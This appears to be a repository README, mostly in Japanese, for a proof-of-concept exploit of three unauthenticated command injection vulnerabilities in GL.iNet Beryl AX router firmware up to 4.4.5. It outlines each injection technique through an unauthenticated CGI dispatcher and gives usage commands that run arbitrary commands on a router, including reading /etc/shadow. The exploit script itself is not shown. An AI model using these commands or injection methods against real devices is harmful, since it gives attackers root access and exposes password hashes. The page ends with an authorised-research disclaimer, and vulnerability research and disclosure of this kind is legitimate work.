hunt-benito/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-routerPoC for three unauthenticated command injection vulnerabilities (CVE-2026-11450/1/2) in GL.iNet Beryl AX travel router firmware <=4.4.5, exploiting CGI dispatcher with no authentication.
GL.iNet GL-MT3000 (Beryl AX) トラベルルーターのファームウェア <= 4.4.5 における、3つの認証不要のコマンドインジェクション脆弱性 (CVE-2026-11450, CVE-2026-11451, CVE-2026-11452) の PoC です。
| CVE | CVSS | 手法 |
|---|---|---|
| CVE-2026-11450 | 7.3 | バッファサイズの不一致 (0x40 vs 0x100) により access() ゲートをバイパス、$() を system() 経由で注入 |
| CVE-2026-11451 | 7.3 | FTP の media_dir パラメータでのシングルクォートエスケープによりシェルのクォーティングを破壊 |
| CVE-2026-11452 | 7.3 | ダブルクォートされた printf 内の Samba パスワードパラメータでの $() コマンド置換 |
3つすべては、認証やメソッドの許可リストなしに dlopen/dlsym 経由でプラグインをロードする、認証不要の /cgi-bin/glc CGI ディスパッチャを悪用します。
# Exploit all three CVEs
python3 poc.py http://192.168.8.1
# Exploit a specific CVE
python3 poc.py http://192.168.8.1 -c "id" -v 11450
python3 poc.py https://192.168.8.1 -c "id" -v 11451
python3 poc.py https://192.168.8.1 -c "id" -v 11452
# Custom command and output file
python3 poc.py http://192.168.8.1 -c "cat /etc/shadow" -o /tmp/pwned
教育目的および許可されたセキュリティ研究のみを目的としています。自分が所有していない、またはテストする明示的な許可がないシステムに対して使用しないでください。